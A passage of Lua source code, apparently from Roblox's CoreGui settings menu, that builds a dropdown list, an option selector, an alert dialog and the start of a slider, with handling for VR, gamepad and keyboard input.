local indexChangedEvent = Instance.new("BindableEvent")
indexChangedEvent.Name = "IndexChanged"
local interactable = true
local guid = HttpService:GenerateGUID(false)
local dropDownButtonEnabled
local lastStringTable = dropDownStringTable
----------------- GUI SETUP ------------------------
local DropDownFullscreenFrame = Util.Create'ImageButton'
{
Name = "DropDownFullscreenFrame",
BackgroundTransparency = DROPDOWN_BG_TRANSPARENCY,
BorderSizePixel = 0,
Size = UDim2.new(1, 0, 1, 0),
BackgroundColor3 = Color3.fromRGB(0,0,0),
ZIndex = 10,
Active = true,
Visible = false,
Selectable = false,
AutoButtonColor = false,
Parent = CoreGui.RobloxGui
};
local function onVREnabled(prop)
if prop ~= "VREnabled" then
return
end
if VRService.VREnabled then
local Panel3D = require(CoreGui.RobloxGui.Modules.VR.Panel3D)
DropDownFullscreenFrame.Parent = Panel3D.Get("SettingsMenu"):GetGUI()
DropDownFullscreenFrame.BackgroundTransparency = 1
else
DropDownFullscreenFrame.Parent = CoreGui.RobloxGui
DropDownFullscreenFrame.BackgroundTransparency = DROPDOWN_BG_TRANSPARENCY
end
--Force the gui to update, but only if onVREnabled is fired later on
if this.UpdateDropDownList then
this:UpdateDropDownList(lastStringTable)
end
end
VRService.Changed:Connect(onVREnabled)
onVREnabled("VREnabled")
local DropDownSelectionFrame = Util.Create'ImageLabel'
{
Name = "DropDownSelectionFrame",
Image = "rbxasset://textures/ui/Settings/MenuBarAssets/MenuButton.png",
ScaleType = Enum.ScaleType.Slice,
SliceCenter = Rect.new(8,6,46,44),
BackgroundTransparency = 1,
Size = UDim2.new(0.6, 0, 0.9, 0),
Position = UDim2.new(0.5, 0, 0.5, 0),
AnchorPoint = Vector2.new(0.5, 0.5),
ZIndex = 10,
Parent = DropDownFullscreenFrame
};
local DropDownScrollingFrame = Util.Create'ScrollingFrame'
{
Name = "DropDownScrollingFrame",
BackgroundTransparency = 1,
BorderSizePixel = 0,
Size = UDim2.new(1, -20, 1, -SCROLLING_FRAME_PIXEL_OFFSET),
Position = UDim2.new(0, 10, 0, 10),
ZIndex = 10,
Parent = DropDownSelectionFrame
};
local guiServiceChangeCon = nil
local active = false
local hideDropDownSelection = function(name, inputState)
if name ~= nil and inputState ~= Enum.UserInputState.Begin then return end
this.DropDownFrame.Selectable = interactable
--Make sure to set the hub to Active again so selecting the
--dropdown button will highlight it
settingsHub:SetActive(true)
if DropDownFullscreenFrame.Visible and usesSelectedObject() then
GuiService.SelectedCoreObject = lastSelectedCoreObject
end
DropDownFullscreenFrame.Visible = false
if guiServiceChangeCon then guiServiceChangeCon:Disconnect() end
ContextActionService:UnbindAction(guid .. "Action")
ContextActionService:UnbindAction(guid .. "FreezeAction")
dropDownButtonEnabled.Value = interactable
active = false
if VRService.VREnabled then
local Panel3D = require(CoreGui.RobloxGui.Modules.VR.Panel3D)
Panel3D.Get("SettingsMenu"):SetSubpanelDepth(DropDownFullscreenFrame, 0)
end
end
local noOpFunc = function() end
local DropDownFrameClicked = function()
if not interactable then return end
this.DropDownFrame.Selectable = false
active = true
DropDownFullscreenFrame.Visible = true
if VRService.VREnabled then
local Panel3D = require(CoreGui.RobloxGui.Modules.VR.Panel3D)
Panel3D.Get("SettingsMenu"):SetSubpanelDepth(DropDownFullscreenFrame, 0.5)
end
lastSelectedCoreObject = this.DropDownFrame
if this.CurrentIndex and this.CurrentIndex > 0 then
GuiService.SelectedCoreObject = this.Selections[this.CurrentIndex]
end
guiServiceChangeCon = GuiService:GetPropertyChangedSignal("SelectedCoreObject"):Connect(function()
for i = 1, #this.Selections do
if GuiService.SelectedCoreObject == this.Selections[i] then
this.Selections[i].TextColor3 = SELECTION_TEXT_COLOR_HIGHLIGHTED
else
this.Selections[i].TextColor3 = VRService.VREnabled and SELECTION_TEXT_COLOR_NORMAL_VR or SELECTION_TEXT_COLOR_NORMAL
end
end
end)
ContextActionService:BindActionAtPriority(guid .. "FreezeAction", noOpFunc, false, Enum.ContextActionPriority.High.Value, Enum.UserInputType.Keyboard, Enum.UserInputType.Gamepad1)
ContextActionService:BindActionAtPriority(guid .. "Action", hideDropDownSelection, false, Enum.ContextActionPriority.High.Value, Enum.KeyCode.ButtonB, Enum.KeyCode.Escape)
settingsHub:SetActive(false)
dropDownButtonEnabled.Value = false
end
local dropDownFrameSize = UDim2.new(0.6, 0, 0, 50)
this.DropDownFrame = MakeButton("DropDownFrame", DEFAULT_DROPDOWN_TEXT, dropDownFrameSize, DropDownFrameClicked, nil, settingsHub)
this.DropDownFrame.Position = UDim2.new(1, 0, 0.5, 0)
this.DropDownFrame.AnchorPoint = Vector2.new(1, 0.5)
dropDownButtonEnabled = this.DropDownFrame.Enabled
local selectedTextLabel = this.DropDownFrame.DropDownFrameTextLabel
selectedTextLabel.Position = UDim2.new(0, 15, 0, 0)
selectedTextLabel.Size = UDim2.new(1, -50, 1, -8)
selectedTextLabel.ClipsDescendants = true
selectedTextLabel.TextXAlignment = Enum.TextXAlignment.Left
local dropDownImage = Util.Create'ImageLabel'
{
Name = "DropDownImage",
Image = "rbxasset://textures/ui/Settings/DropDown/DropDown.png",
BackgroundTransparency = 1,
AnchorPoint = Vector2.new(1, 0.5),
Size = UDim2.new(0,15,0,10),
Position = UDim2.new(1,-12,0.5,0),
ZIndex = 2,
Parent = this.DropDownFrame
};
this.DropDownImage = dropDownImage
---------------------- FUNCTIONS -----------------------------------
local function setSelection(index)
local shouldFireChanged = false
for i, selectionLabel in pairs(this.Selections) do
if i == index then
selectedTextLabel.Text = selectionLabel.Text
this.CurrentIndex = i
shouldFireChanged = true
end
end
if shouldFireChanged then
indexChangedEvent:Fire(index)
end
end
local function setSelectionByValue(value)
local shouldFireChanged = false
for i, selectionLabel in pairs(this.Selections) do
if selectionLabel.Text == value then
selectedTextLabel.Text = selectionLabel.Text
this.CurrentIndex = i
shouldFireChanged = true
end
end
if shouldFireChanged then
indexChangedEvent:Fire(this.CurrentIndex)
end
return shouldFireChanged
end
local enterIsDown = false
local function processInput(input)
if input.UserInputState == Enum.UserInputState.Begin then
if input.KeyCode == Enum.KeyCode.Return then
if GuiService.SelectedCoreObject == this.DropDownFrame or this.SelectionInfo and this.SelectionInfo[GuiService.SelectedCoreObject] then
enterIsDown = true
end
end
elseif input.UserInputState == Enum.UserInputState.End then
if input.KeyCode == Enum.KeyCode.Return and enterIsDown then
enterIsDown = false
if GuiService.SelectedCoreObject == this.DropDownFrame then
DropDownFrameClicked()
elseif this.SelectionInfo and this.SelectionInfo[GuiService.SelectedCoreObject] then
local info = this.SelectionInfo[GuiService.SelectedCoreObject]
info.Clicked()
end
end
end
end
local function setIsFaded(isFaded)
if isFaded then
this.DropDownFrame.DropDownFrameTextLabel.TextTransparency = 0.5
this.DropDownFrame.ImageTransparency = 0.5
this.DropDownImage.ImageTransparency = 0.5
else
this.DropDownFrame.DropDownFrameTextLabel.TextTransparency = 0
this.DropDownFrame.ImageTransparency = 0
this.DropDownImage.ImageTransparency = 0
end
end
--------------------- PUBLIC FACING FUNCTIONS -----------------------
this.IndexChanged = indexChangedEvent.Event
function this:SetSelectionIndex(newIndex)
setSelection(newIndex)
end
function this:SetSelectionByValue(value)
return setSelectionByValue(value)
end
function this:ResetSelectionIndex()
this.CurrentIndex = nil
selectedTextLabel.Text = DEFAULT_DROPDOWN_TEXT
hideDropDownSelection()
end
function this:GetSelectedIndex()
return this.CurrentIndex
end
function this:SetZIndex(newZIndex)
this.DropDownFrame.ZIndex = newZIndex
dropDownImage.ZIndex = newZIndex
selectedTextLabel.ZIndex = newZIndex
end
function this:SetInteractable(value)
interactable = value
this.DropDownFrame.Selectable = interactable
if not interactable then
hideDropDownSelection()
setIsFaded(VRService.VREnabled)
if not VRService.VREnabled then
this:SetZIndex(1)
end
else
setIsFaded(false)
if not VRService.VREnabled then
this:SetZIndex(2)
end
end
dropDownButtonEnabled.Value = value and not active
end
function this:UpdateDropDownList(dropDownStringTable)
lastStringTable = dropDownStringTable
if this.Selections then
for i = 1, #this.Selections do
this.Selections[i]:Destroy()
end
end
this.Selections = {}
this.SelectionInfo = {}
local vrEnabled = VRService.VREnabled
local font = vrEnabled and Enum.Font.SourceSansBold or Enum.Font.SourceSans
local textSize = vrEnabled and 36 or 24
local itemHeight = vrEnabled and 70 or 50
local itemSpacing = itemHeight + 1
local dropDownWidth = vrEnabled and 600 or 400
for i,v in pairs(dropDownStringTable) do
local SelectionOverrideObject = Util.Create'Frame'
{
BackgroundTransparency = 0.7,
BorderSizePixel = 0,
Size = UDim2.new(1, 0, 1, 0)
};
local nextSelection = Util.Create'TextButton'
{
Name = "Selection" .. tostring(i),
BackgroundTransparency = 1,
BorderSizePixel = 0,
AutoButtonColor = false,
Size = UDim2.new(1, -28, 0, itemHeight),
Position = UDim2.new(0,14,0, (i - 1) * itemSpacing),
TextColor3 = VRService.VREnabled and SELECTION_TEXT_COLOR_NORMAL_VR or SELECTION_TEXT_COLOR_NORMAL,
Font = font,
TextSize = textSize,
Text = v,
ZIndex = 10,
SelectionImageObject = SelectionOverrideObject,
Parent = DropDownScrollingFrame
};
if i == startPosition then
this.CurrentIndex = i
selectedTextLabel.Text = v
nextSelection.TextColor3 = SELECTION_TEXT_COLOR_HIGHLIGHTED
elseif not startPosition and i == 1 then
nextSelection.TextColor3 = SELECTION_TEXT_COLOR_HIGHLIGHTED
end
local clicked = function()
selectedTextLabel.Text = nextSelection.Text
hideDropDownSelection()
this.CurrentIndex = i
indexChangedEvent:Fire(i)
end
nextSelection.MouseButton1Click:Connect(clicked)
nextSelection.MouseEnter:Connect(function()
if usesSelectedObject() then
GuiService.SelectedCoreObject = nextSelection
end
end)
this.Selections[i] = nextSelection
this.SelectionInfo[nextSelection] = {Clicked = clicked}
end
GuiService:RemoveSelectionGroup(guid)
GuiService:AddSelectionTuple(guid, unpack(this.Selections))
DropDownScrollingFrame.CanvasSize = UDim2.new(1,-20,0,#dropDownStringTable * itemSpacing)
local function updateDropDownSize()
if DropDownScrollingFrame.CanvasSize.Y.Offset < (DropDownFullscreenFrame.AbsoluteSize.Y - 10) then
DropDownSelectionFrame.Size = UDim2.new(0, dropDownWidth,
0,DropDownScrollingFrame.CanvasSize.Y.Offset + SCROLLING_FRAME_PIXEL_OFFSET)
else
DropDownSelectionFrame.Size = UDim2.new(0, dropDownWidth, 0.9, 0)
end
end
DropDownFullscreenFrame.Changed:Connect(function(prop)
if prop ~= "AbsoluteSize" then return end
updateDropDownSize()
end)
updateDropDownSize()
end
----------------------- CONNECTIONS/SETUP --------------------------------
this:UpdateDropDownList(dropDownStringTable)
DropDownFullscreenFrame.MouseButton1Click:Connect(hideDropDownSelection)
settingsHub.PoppedMenu:Connect(function(poppedMenu)
if poppedMenu == DropDownFullscreenFrame then
hideDropDownSelection()
end
end)
return this
end
local function CreateSelector(selectionStringTable, startPosition)
-------------------- VARIABLES ------------------------
local lastInputDirection = 0
local TweenTime = 0.15
-------------------- SETUP ------------------------
local this = {}
this.HubRef = nil
if type(selectionStringTable) ~= "table" then
error("CreateSelector selectionStringTable (first arg) is not a table", 2)
return this
end
local indexChangedEvent = Instance.new("BindableEvent")
indexChangedEvent.Name = "IndexChanged"
local interactable = true
this.CurrentIndex = 0
----------------- GUI SETUP ------------------------
this.SelectorFrame = Util.Create'ImageButton'
{
Name = "Selector",
Image = "",
AutoButtonColor = false,
NextSelectionLeft = this.SelectorFrame,
NextSelectionRight = this.SelectorFrame,
BackgroundTransparency = 1,
Size = UDim2.new(0.6,0,0,50),
Position = UDim2.new(1, 0, 0.5, 0),
AnchorPoint = Vector2.new(1, 0.5),
ZIndex = 2,
SelectionImageObject = noSelectionObject
};
local leftButton = Util.Create'ImageButton'
{
Name = "LeftButton",
BackgroundTransparency = 1,
AnchorPoint = Vector2.new(0, 0.5),
Position = UDim2.new(0,0,0.5,0),
Size = UDim2.new(0,50,0,50),
Image = "",
ZIndex = 3,
Selectable = false,
SelectionImageObject = noSelectionObject,
Parent = this.SelectorFrame
};
local rightButton = Util.Create'ImageButton'
{
Name = "RightButton",
BackgroundTransparency = 1,
AnchorPoint = Vector2.new(1, 0.5),
Position = UDim2.new(1,0,0.5,0),
Size = UDim2.new(0,50,0,50),
Image = "",
ZIndex = 3,
Selectable = false,
SelectionImageObject = noSelectionObject,
Parent = this.SelectorFrame
};
local leftButtonImage = Util.Create'ImageLabel'
{
Name = "LeftButton",
BackgroundTransparency = 1,
AnchorPoint = Vector2.new(0.5, 0.5),
Position = UDim2.new(0.5,0,0.5,0),
Size = UDim2.new(0,18,0,30),
Image = "rbxasset://textures/ui/Settings/Slider/Left.png",
ImageColor3 = ARROW_COLOR,
ZIndex = 4,
Parent = leftButton
};
local rightButtonImage = Util.Create'ImageLabel'
{
Name = "RightButton",
BackgroundTransparency = 1,
AnchorPoint = Vector2.new(0.5, 0.5),
Position = UDim2.new(0.5,0,0.5,0),
Size = UDim2.new(0,18,0,30),
Image = "rbxasset://textures/ui/Settings/Slider/Right.png",
ImageColor3 = ARROW_COLOR,
ZIndex = 4,
Parent = rightButton
};
if not UserInputService.TouchEnabled then
local applyNormal, applyHover =
function(instance) instance.ImageColor3 = ARROW_COLOR end,
function(instance) instance.ImageColor3 = ARROW_COLOR_HOVER end
addHoverState(leftButton, leftButtonImage, applyNormal, applyHover)
addHoverState(rightButton, rightButtonImage, applyNormal, applyHover)
end
this.Selections = {}
local isSelectionLabelVisible = {}
local isAutoSelectButton = {}
local autoSelectButton = Util.Create'ImageButton'{
Name = 'AutoSelectButton',
BackgroundTransparency = 1,
Image = '',
Position = UDim2.new(0, leftButton.Size.X.Offset, 0, 0),
Size = UDim2.new(1, leftButton.Size.X.Offset * -2, 1, 0),
Parent = this.SelectorFrame,
ZIndex = 2,
SelectionImageObject = noSelectionObject
}
autoSelectButton.MouseButton1Click:Connect(function()
if not interactable then return end
if #this.Selections <= 1 then return end
local newIndex = this.CurrentIndex + 1
if newIndex > #this.Selections then
newIndex = 1
end
this:SetSelectionIndex(newIndex)
if usesSelectedObject() then
GuiService.SelectedCoreObject = this.SelectorFrame
end
end)
isAutoSelectButton[autoSelectButton] = true
---------------------- FUNCTIONS -----------------------------------
local function setSelection(index, direction)
for i, selectionLabel in pairs(this.Selections) do
local isSelected = (i == index)
local leftButtonUDim = UDim2.new(0,leftButton.Size.X.Offset,0,0)
local tweenPos = UDim2.new(0,leftButton.Size.X.Offset * direction * 3,0,0)
if isSelectionLabelVisible[selectionLabel] then
tweenPos = UDim2.new(0,leftButton.Size.X.Offset * -direction * 3,0,0)
end
if tweenPos.X.Offset < 0 then
tweenPos = UDim2.new(0,tweenPos.X.Offset + (selectionLabel.AbsoluteSize.X/4),0,0)
end
if isSelected then
isSelectionLabelVisible[selectionLabel] = true
selectionLabel.Position = tweenPos
selectionLabel.Visible = true
PropertyTweener(selectionLabel, "TextTransparency", 1, 0, TweenTime * 1.1, EaseOutQuad)
if selectionLabel:IsDescendantOf(game) then
selectionLabel:TweenPosition(leftButtonUDim, Enum.EasingDirection.In, Enum.EasingStyle.Quad, TweenTime, true)
else
selectionLabel.Position = leftButtonUDim
end
this.CurrentIndex = i
indexChangedEvent:Fire(index)
elseif isSelectionLabelVisible[selectionLabel] then
isSelectionLabelVisible[selectionLabel] = false
PropertyTweener(selectionLabel, "TextTransparency", 0, 1, TweenTime * 1.1, EaseOutQuad)
if selectionLabel:IsDescendantOf(game) then
selectionLabel:TweenPosition(tweenPos, Enum.EasingDirection.Out, Enum.EasingStyle.Quad, TweenTime * 0.9, true)
else
selectionLabel.Position = UDim2.new(tweenPos)
end
end
end
end
local function stepFunc(inputObject, step)
if not interactable then return end
if inputObject ~= nil and inputObject.UserInputType ~= Enum.UserInputType.MouseButton1 and
inputObject.UserInputType ~= Enum.UserInputType.Gamepad1 and inputObject.UserInputType ~= Enum.UserInputType.Gamepad2 and
inputObject.UserInputType ~= Enum.UserInputType.Gamepad3 and inputObject.UserInputType ~= Enum.UserInputType.Gamepad4 and
inputObject.UserInputType ~= Enum.UserInputType.Keyboard then return end
if usesSelectedObject() then
GuiService.SelectedCoreObject = this.SelectorFrame
end
local newIndex = step + this.CurrentIndex
local direction = 0
if newIndex > this.CurrentIndex then
direction = 1
else
direction = -1
end
if newIndex > #this.Selections then
newIndex = 1
elseif newIndex < 1 then
newIndex = #this.Selections
end
setSelection(newIndex, direction)
end
local guiServiceCon = nil
local function connectToGuiService()
guiServiceCon = GuiService:GetPropertyChangedSignal("SelectedCoreObject"):Connect(function()
if #this.Selections <= 0 then
return
end
if GuiService.SelectedCoreObject == this.SelectorFrame then
this.Selections[this.CurrentIndex].TextTransparency = 0
else
if GuiService.SelectedCoreObject ~= nil and isAutoSelectButton[GuiService.SelectedCoreObject] then
if VRService.VREnabled then
this.Selections[this.CurrentIndex].TextTransparency = 0
else
GuiService.SelectedCoreObject = this.SelectorFrame
end
else
this.Selections[this.CurrentIndex].TextTransparency = 0.5
end
end
end)
end
--------------------- PUBLIC FACING FUNCTIONS -----------------------
this.IndexChanged = indexChangedEvent.Event
function this:SetSelectionIndex(newIndex)
setSelection(newIndex, 1)
end
function this:GetSelectedIndex()
return this.CurrentIndex
end
function this:SetZIndex(newZIndex)
leftButton.ZIndex = newZIndex
rightButton.ZIndex = newZIndex
leftButtonImage.ZIndex = newZIndex
rightButtonImage.ZIndex = newZIndex
for i = 1, #this.Selections do
this.Selections[i].ZIndex = newZIndex
end
end
function this:SetInteractable(value)
interactable = value
this.SelectorFrame.Selectable = interactable
leftButton.Active = interactable
rightButton.Active = interactable
if not interactable then
for i, selectionLabel in pairs(this.Selections) do
selectionLabel.TextColor3 = Color3.fromRGB(49, 49, 49)
end
leftButtonImage.ImageColor3 = ARROW_COLOR_INACTIVE
rightButtonImage.ImageColor3 = ARROW_COLOR_INACTIVE
else
for i, selectionLabel in pairs(this.Selections) do
selectionLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
end
leftButtonImage.ImageColor3 = ARROW_COLOR
rightButtonImage.ImageColor3 = ARROW_COLOR
end
end
function this:UpdateOptions(selectionStringTable)
for i,v in pairs(this.Selections) do
v:Destroy()
end
isSelectionLabelVisible = {}
this.Selections = {}
for i,v in pairs(selectionStringTable) do
local nextSelection = Util.Create'TextLabel'
{
Name = "Selection" .. tostring(i),
BackgroundTransparency = 1,
BorderSizePixel = 0,
Size = UDim2.new(1,leftButton.Size.X.Offset * -2, 1, 0),
Position = UDim2.new(1,0,0,0),
TextColor3 = Color3.fromRGB(255, 255, 255),
TextYAlignment = Enum.TextYAlignment.Center,
TextTransparency = 0.5,
Font = Enum.Font.SourceSans,
TextSize = 24,
Text = v,
ZIndex = 2,
Visible = false,
Parent = this.SelectorFrame
};
if isTenFootInterface() then
nextSelection.TextSize = 36
end
if i == startPosition then
this.CurrentIndex = i
nextSelection.Position = UDim2.new(0,leftButton.Size.X.Offset,0,0)
nextSelection.Visible = true
isSelectionLabelVisible[nextSelection] = true
else
isSelectionLabelVisible[nextSelection] = false
end
this.Selections[i] = nextSelection
end
local hasMoreThanOneSelection = #this.Selections > 1
leftButton.Visible = hasMoreThanOneSelection
rightButton.Visible = hasMoreThanOneSelection
end
--------------------- SETUP -----------------------
local function onVREnabled(prop)
if prop ~= "VREnabled" then
return
end
local vrEnabled = VRService.VREnabled
leftButton.Selectable = vrEnabled
rightButton.Selectable = vrEnabled
autoSelectButton.Selectable = vrEnabled
end
VRService.Changed:Connect(onVREnabled)
onVREnabled("VREnabled")
leftButton.InputBegan:Connect(function(inputObject)
if inputObject.UserInputType == Enum.UserInputType.Touch then
stepFunc(nil, -1)
end
end)
leftButton.MouseButton1Click:Connect(function()
if not UserInputService.TouchEnabled then
stepFunc(nil, -1)
end
end)
rightButton.InputBegan:Connect(function(inputObject)
if inputObject.UserInputType == Enum.UserInputType.Touch then
stepFunc(nil, 1)
end
end)
rightButton.MouseButton1Click:Connect(function()
if not UserInputService.TouchEnabled then
stepFunc(nil, 1)
end
end)
local isInTree = true
this:UpdateOptions(selectionStringTable)
UserInputService.InputBegan:Connect(function(inputObject)
if not interactable then return end
if not isInTree then return end
if inputObject.UserInputType ~= Enum.UserInputType.Gamepad1 and inputObject.UserInputType ~= Enum.UserInputType.Keyboard then return end
if GuiService.SelectedCoreObject ~= this.SelectorFrame then return end
if inputObject.KeyCode == Enum.KeyCode.DPadLeft or inputObject.KeyCode == Enum.KeyCode.Left or inputObject.KeyCode == Enum.KeyCode.A then
stepFunc(inputObject, -1)
elseif inputObject.KeyCode == Enum.KeyCode.DPadRight or inputObject.KeyCode == Enum.KeyCode.Right or inputObject.KeyCode == Enum.KeyCode.D then
stepFunc(inputObject, 1)
end
end)
UserInputService.InputChanged:Connect(function(inputObject)
if not interactable then return end
if not isInTree then lastInputDirection = 0 return end
if inputObject.UserInputType ~= Enum.UserInputType.Gamepad1 then return end
local selected = GuiService.SelectedCoreObject
if not selected or not selected:IsDescendantOf(this.SelectorFrame.Parent) then return end
if inputObject.KeyCode ~= Enum.KeyCode.Thumbstick1 then return end
if inputObject.Position.X > CONTROLLER_THUMBSTICK_DEADZONE and inputObject.Delta.X > 0 and lastInputDirection ~= 1 then
lastInputDirection = 1
stepFunc(inputObject, lastInputDirection)
elseif inputObject.Position.X < -CONTROLLER_THUMBSTICK_DEADZONE and inputObject.Delta.X < 0 and lastInputDirection ~= -1 then
lastInputDirection = -1
stepFunc(inputObject, lastInputDirection)
elseif math.abs(inputObject.Position.X) < CONTROLLER_THUMBSTICK_DEADZONE then
lastInputDirection = 0
end
end)
this.SelectorFrame.AncestryChanged:Connect(function(child, parent)
isInTree = parent
if not isInTree then
if guiServiceCon then guiServiceCon:Disconnect() end
else
connectToGuiService()
end
end)
local function onResized(viewportSize, portrait)
local textSize = 0
if portrait then
textSize = 16
else
textSize = isTenFootInterface() and 36 or 24
end
for i, selection in pairs(this.Selections) do
selection.TextSize = textSize
end
end
addOnResizedCallback(this.SelectorFrame, onResized)
connectToGuiService()
return this
end
local function ShowAlert(alertMessage, okButtonText, settingsHub, okPressedFunc, hasBackground)
local parent = CoreGui.RobloxGui
if parent:FindFirstChild("AlertViewFullScreen") then return end
--Declare AlertViewBacking so onVREnabled can take it as an upvalue
local AlertViewBacking = nil
--Handle VR toggle while alert is open
--Future consideration: maybe rebuild gui when VR toggles mid-game; right now only subpaneling is handled rather than visual style
local function onVREnabled(prop)
if prop ~= "VREnabled" then return end
local Panel3D, settingsPanel = nil, nil
if VRService.VREnabled then
Panel3D = require(CoreGui.RobloxGui.Modules.VR.Panel3D)
settingsPanel = Panel3D.Get("SettingsMenu")
parent = settingsPanel:GetGUI()
else
parent = CoreGui.RobloxGui
end
if AlertViewBacking and AlertViewBacking.Parent ~= nil then
AlertViewBacking.Parent = parent
if VRService.VREnabled then
settingsPanel:SetSubpanelDepth(AlertViewBacking, 0.5)
end
end
end
local vrEnabledConn = VRService.Changed:Connect(onVREnabled)
local NON_SELECTED_TEXT_COLOR = Color3.fromRGB(59, 166, 241)
local SELECTED_TEXT_COLOR = Color3.fromRGB(255, 255, 255)
AlertViewBacking = Util.Create'ImageLabel'
{
Name = "AlertViewBacking",
Image = "rbxasset://textures/ui/Settings/MenuBarAssets/MenuButton.png",
ScaleType = Enum.ScaleType.Slice,
SliceCenter = Rect.new(8,6,46,44),
BackgroundTransparency = 1,
ImageTransparency = 1,
Size = UDim2.new(0, 400, 0, 350),
Position = UDim2.new(0.5, -200, 0.5, -175),
ZIndex = 9,
Parent = parent
};
onVREnabled("VREnabled")
if hasBackground or VRService.VREnabled then
AlertViewBacking.ImageTransparency = 0
else
AlertViewBacking.Size = UDim2.new(0.8, 0, 0, 350)
AlertViewBacking.Position = UDim2.new(0.1, 0, 0.1, 0)
end
if CoreGui.RobloxGui.AbsoluteSize.Y <= AlertViewBacking.Size.Y.Offset then
AlertViewBacking.Size = UDim2.new(AlertViewBacking.Size.X.Scale, AlertViewBacking.Size.X.Offset,
AlertViewBacking.Size.Y.Scale, CoreGui.RobloxGui.AbsoluteSize.Y)
AlertViewBacking.Position = UDim2.new(AlertViewBacking.Position.X.Scale, -AlertViewBacking.Size.X.Offset/2, 0.5, -AlertViewBacking.Size.Y.Offset/2)
end
local AlertViewText = Util.Create'TextLabel'
{
Name = "AlertViewText",
BackgroundTransparency = 1,
Size = UDim2.new(0.95, 0, 0.6, 0),
Position = UDim2.new(0.025, 0, 0.05, 0),
Font = Enum.Font.SourceSansBold,
TextSize = 36,
Text = alertMessage,
TextWrapped = true,
TextColor3 = Color3.fromRGB(255, 255, 255),
TextXAlignment = Enum.TextXAlignment.Center,
TextYAlignment = Enum.TextYAlignment.Center,
ZIndex = 10,
Parent = AlertViewBacking
};
local SelectionOverrideObject = Util.Create'ImageLabel'
{
Image = "",
BackgroundTransparency = 1
};
local removeId = HttpService:GenerateGUID(false)
local destroyAlert = function(actionName, inputState)
if VRService.VREnabled and (inputState == Enum.UserInputState.Begin or inputState == Enum.UserInputState.Cancel) then
return
end
if not AlertViewBacking then
return
end
if VRService.VREnabled then
local Panel3D = require(CoreGui.RobloxGui.Modules.VR.Panel3D)
Panel3D.Get("SettingsMenu"):SetSubpanelDepth(AlertViewBacking, 0)
end
AlertViewBacking:Destroy()
AlertViewBacking = nil
if okPressedFunc then
okPressedFunc()
end
ContextActionService:UnbindAction(removeId)
GuiService.SelectedCoreObject = nil
if settingsHub then
settingsHub:ShowBar()
end
if vrEnabledConn then
vrEnabledConn:Disconnect()
end
end
local AlertViewButtonSize = UDim2.new(1, -20, 0, 60)
local AlertViewButtonPosition = UDim2.new(0, 10, 0.65, 0)
if not hasBackground then
AlertViewButtonSize = UDim2.new(0, 200, 0, 50)
AlertViewButtonPosition = UDim2.new(0.5, -100, 0.65, 0)
end
local AlertViewButton, AlertViewText = MakeButton("AlertViewButton", okButtonText, AlertViewButtonSize, destroyAlert)
AlertViewButton.Position = AlertViewButtonPosition
AlertViewButton.NextSelectionLeft = AlertViewButton
AlertViewButton.NextSelectionRight = AlertViewButton
AlertViewButton.NextSelectionUp = AlertViewButton
AlertViewButton.NextSelectionDown = AlertViewButton
AlertViewButton.ZIndex = 9
AlertViewText.ZIndex = AlertViewButton.ZIndex
AlertViewButton.Parent = AlertViewBacking
if usesSelectedObject() then
GuiService.SelectedCoreObject = AlertViewButton
end
GuiService.SelectedCoreObject = AlertViewButton
ContextActionService:BindActionAtPriority(removeId, destroyAlert, false, Enum.ContextActionPriority.High.Value, Enum.KeyCode.Escape, Enum.KeyCode.ButtonB, Enum.KeyCode.ButtonA)
if settingsHub and not VRService.VREnabled then
settingsHub:HideBar()
settingsHub.Pages.CurrentPage:Hide(1, 1)
end
end
local function CreateNewSlider(numOfSteps, startStep, minStep)
-------------------- SETUP ------------------------
local this = {}
local spacing = 4
local initialSpacing = 8
local steps = tonumber(numOfSteps)
local currentStep = startStep
local lastInputDirection = 0
local timeAtLastInput = nil
local interactable = true
local renderStepBindName = HttpService:GenerateGUID(false)
-- this is done to prevent using these values below (trying to keep the variables consistent)
numOfSteps = ""
startStep = ""
if steps <= 0 then
error("CreateNewSlider failed because numOfSteps (first arg) is 0 or negative, please supply a positive integer", 2)
return
end
local valueChangedEvent = Instance.new("BindableEvent")
valueChangedEvent.Name = "ValueChanged"
----------------- GUI SETUP ------------------------
this.SliderFrame = Util.Create'ImageButton'
{
Name = "Slider",
Image = "",
AutoButtonColor = false,
NextSelectionLeft = this.SliderFrame,
NextSelectionRight = this.SliderFrame,
BackgroundTransparency = 1,
Size = UDim2.new(0.6, 0, 0, 50),
Position = UDim2.new(1, 0, 0.5, 0),
AnchorPoint = Vector2.new(1, 0.5),
SelectionImageObject = noSelectionObject,
ZIndex = 2
};
this.StepsContainer = Util.Create "Frame"
{
Name = "StepsContainer",
Position = UDim2.new(0.5, 0, 0.5, 0),
Size = UDim2.new(1, -100, 1, 0),
AnchorPoint = Vector2.new(0.5, 0.5),
BackgroundTransparency = 1,
Parent = this.SliderFrame,
}
local leftButton = Util.Create'ImageButton'
{
Name = "LeftButton",
BackgroundTransparency = 1,
AnchorPoint = Vector2.new(0, 0.5),
Position = UDim2.new(0,0,0.5,0),
Size = UDim2.new(0,50,0,50),
Image = "",
ZIndex = 3,
Selectable = false,
SelectionImageObject = noSelectionObject,
Active = true,
Parent = this.SliderFrame
};
local rightButton = Util.Create'ImageButton'
{
Name = "RightButton",
BackgroundTransparency = 1,
AnchorPoint = Vector2.new(1, 0.5),
Position = UDim2.new(1,0,0.5,0),
Size = UDim2.new(0,50,0,50),
Image = "",
ZIndex = 3,
Selectable = false,
SelectionImageObject = noSelectionObject,
Active = true,
Parent = this.SliderFrame
};
local leftButtonImage = Util.Create'ImageLabel'
{
Name = "LeftButton",
BackgroundTransparency = 1,
AnchorPoint = Vector2.new(0.5, 0.5),
Position = UDim2.new(0.5,0,0.5,0),
Size = UDim2.new(0,30,0,30),
Image = "rbxasset://textures/ui/Settings/Slider/Less.png",
ZIndex = 4,
Parent = leftButton,
ImageColor3 = UserInputService.TouchEnabled and ARROW_COLOR_TOUCH or ARROW_COLOR
};
local rightButtonImage = Util.Create'ImageLabel'
{
Name = "RightButton",
BackgroundTransparency = 1,
AnchorPoint = Vector2.new(0.5, 0.5),
Position = UDim2.new(0.5,0,0.5,0),
Size = UDim2.new(0,30,0,30),
Image = "rbxasset://textures/ui/Settings/Slider/More.png",
ZIndex = 4,
Parent = rightButton,
ImageColor3 = UserInputService.TouchEnabled and ARROW_COLOR_TOUCH or ARROW_COLOR
};
if not UserInputService.TouchEnabled then
local onNormalButtonState, onHoverButtonState =
function(instance) instance.ImageColor3 = ARROW_COLOR end,
function(instance) instance.ImageColor3 = ARROW_COLOR_HOVER end
addHoverState(leftButton, leftButtonImage, onNormalButtonState, onHoverButtonState)
